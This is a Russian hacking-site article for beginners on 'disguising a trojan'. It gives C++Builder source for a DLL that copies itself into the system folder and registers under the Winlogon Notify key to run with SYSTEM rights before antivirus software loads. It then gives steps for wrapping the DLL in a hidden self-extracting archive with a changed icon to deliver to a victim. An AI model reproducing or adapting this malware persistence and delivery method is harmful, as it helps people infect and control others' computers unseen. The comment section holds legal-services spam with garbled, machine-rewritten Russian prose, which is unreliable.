Hacker.ucoz.neT
Меню сайта
Категории каталога
Хакинг [2]
Новичкам полезное [4]
Секреты хакерства [1]
Наш опрос
Чего не хватает на данном сайте?
Всего ответов: 216
Главная » Статьи » Хакерство » Новичкам полезное

Маскировка трояна
Маскируем трояна
[Кодинг для новичков]

И так прошу не судить строго это моя первая статья

Итак что нам нужно от маскировки трояна?

1. обход антивирусов
2. невидимость в процессах

Начнем со второго
для начала откажитесь от мысли прятать исполняемый файл, даже если вы спрячите его от таскменегера, то есть куча различных утилит позволяющих его узреть. Значит мы пришли к выводу что делать будем не екзешник (забегу вперед и скажу что после небольших действий в конце концов жертве вы будете впаривать всеже екзе файл)

Итак приступим как сделать так чтобы наш трой не был отдельным процессом да написать его в виде dll и попросить winlogon загружать его. таким образом наш код будет стартовать раньше антивирусов и файерволов, и иметь права winloghon'a а это system.

итак приступим (я писал в cbuildere):

#include
#include
#include
#include
#include
#pragma comment(lib,"MEMMGR.LIB")
#pragma hdrstop

typedef struct _WLX_NOTIFICATION_INFO
{
ULONG Size ;
ULONG Flags ;
PWSTR UserName ;
PWSTR Domain ;
PWSTR WindowStation ;
HANDLE hToken ;
HDESK hDesktop ;
int pStatusCallback ;
} WLX_NOTIFICATION_INFO, * PWLX_NOTIFICATION_INFO ;

extern "C" __declspec(dllexport) LRESULT CALLBACK load(_WLX_NOTIFICATION_INFO pinfo);
//---
#pragma argsused
int WINAPI DllEntryPoint(HINSTANCE hinst, unsigned long reason, void* lpReserved)
{
return 1;
}
//---------------------------------------------------------------------------
void install(String sys)
{
TRegistry *reg = new TRegistry(KEY_WRITE);
char name[MAX_PATH];
String str;
try
{
//копирование в системную папку
GetModuleFileName(HInstance, name, sizeof(name));
if (sys!=ExtractFileDir(name))
{
str=ExtractFileName(name);
str=sys+""+str;
CopyFile(name,str.c_str(),0);
ShellExecute((void *)0,"open",str.c_str(),NULL,NULL,0);
ExitProcess(0);
}
//добавление в автозапуск
reg->RootKey=HKEY_LOCAL_MACHINE;
reg->OpenKey("software",true);
reg->OpenKey("Microsoft",true);
reg->OpenKey("Windows NT",true);
reg->OpenKey("CurrentVersion",true);
reg->OpenKey("Winlogon",true);
reg->OpenKey("Notify",true);
reg->OpenKey("ms32",true);
reg->WriteString("DLLName",name);
reg->WriteString("Startup","load");
reg->WriteInteger("Impersonate",1);
reg->WriteInteger("Asynchronous",1);
reg->WriteInteger("MaxWait",1);
}
__finally{}
delete reg;
}
//---------------------------------------------------------------------------
LRESULT CALLBACK load(_WLX_NOTIFICATION_INFO pinfo)
{
char sysdir[MAX_PATH];
GetSystemDirectory(sysdir,MAX_PATH);
install(sysdir);

//здесь код вашего трояна
}


вот он не сложный код для вашего будущего коня

основная функции должена принимать параметр типа "_WLX_NOTIFICATION_INFO" иначе winlogon не будет с ней работать
(причем совершенно не обязательно чтобы она с ним работала ;) )
далее мы прописываем в реестре несколько нужных нам строк дабы winlogon общался с нашей dll.

А теперь как ее превратить в исполняемый файл (ведь не понесете же вы ее к жертве в виде dll)
на самом деле это совершенно просто мы создадим sfx архив.
1. Это уменьшит вес нашего файла раза в 2.
2. позволит первый раз запустить нашу лошадку как exe

добавляем в архив (я пользуюсь winrar'ом), максимальный, sfx.
В параметрах пишем:
путь для распаковки %windir%
после распаковки выплнить rundll32 имя dll , имя функции(в нашем случае load).
далее просим скрыть все процессы
и перезаписывать без вопросов
меняем иконку

и все трой готов
Категория: Новичкам полезное | Добавил: hackerADMIN (11.01.2009) | Автор: Unknown
Просмотров: 1373 | Комментарии: 86 | Рейтинг: 5.0/1 |
Всего комментариев: 1
1 Soabbicblonee  
0
Юридический центр Прайм предлагает услуги физическим и юридическим лицам. Суды иски арбитраж(составление заявлений жалоб претензий) гарантия опыт.В нашем офисе или по телефону (812) 385-56-90 вы можете получить консуьтации следующих специалистов : http://lcspb.ru - юрист http://lcspb.ru - адвокат http://lcspb.ru/voennoe-pravo - военный юрист
http://lcspb.ru/voennoe-pravo - военный адвокат http://lcspb.ru/zemelnoe-pravo - земельный юрист http://lcspb.ru/semeynoe-pravo - семейный юрист http://lcspb.ru/strahovye-spory - страховой юрист
http://lcspb.ru/trudovoe-pravo - трудовой юрист .Помогаем разрешить конфликтные ситуации с http://lcspb.ru/departament-zhilishchnogo-obespecheniya - джо мо рф http://lcspb.ru/departament-zhilishchnogo-obespecheniya - департамент жилищного обеспечения . Помогаем с военной ипотекой, http://lcspb.ru/nakopitelno-ipotechnaya-sistema-obespecheniya - военная ипотека http://lcspb.ru/privatizaciya-zhilya-voennosluzhashchimi - жилье военным . http://lcspb.ru - юридическая консультация .
Через нас вы можете http://lcspb.ru/nedvizhimost - купить квартиру http://lcspb.ru/nedvizhimost - продать квартиру http://lcspb.ru/nedvizhimost/soprovozhdenie-sdelok - юридическое сопровождение сделок с недвижимостью . Помощь дольщикам в решении сложный ситуаций. Расторжение договора с застройщиком. Признание права собственности. Возврат денежных средств.




Мы любим утверждать о сочинение, точно было желание неплохо гнездиться соответственно европейски, соразмерно закону и правилам, которые не в коей мере не ущемляют наши права, всего нормы права разрешают гражданам использовать своими правами таким образом, ради они не нарушали прав других лиц. Содержаться этом кайма между правами одних и других лиц полно тонкая и беззаконие этой грани непременно приводит к возникновению конфликта. Впрочем для практике совершенно часто одно единица сознательно нарушает права других лиц. Через того, что вид, чьи права нарушены как начало не обладает необходимой информацией для защиты своих прав, оно попадает в непонятную и запутанную для него ситуацию. Почти этом не в коем случае догадливость о необходимости обратится к качественному юристу и адвокату на ранней стадии не кому не приходит. Безотлучно пытаются требовать помощи знакомых, друзей, родственников, подле этом получая очень сомнительные с точки зрения юриста законы, и сознательно отказываясь через квалифицированной юридической помощи адвоката или юриста.

Имя *:
Email *:
Код *:
Форма входа
Поиск
Друзья сайта
$$$ для web-мастеров
--------------------------
Wmpublic.com - неплохая работа в интернете совсем без вложений!
--------------------------
Покупка и продажа трафика
--------------------------
Web-Stil Info - лёгкий и высокий заработок webmoney(WMZ)
--------------------------
Wm-forrest.ru - Отличный заработок,бонусы,раскрутка вашего сайта!
Статистика
Copyright MyCorp © 2025Сделать бесплатный сайт с uCoz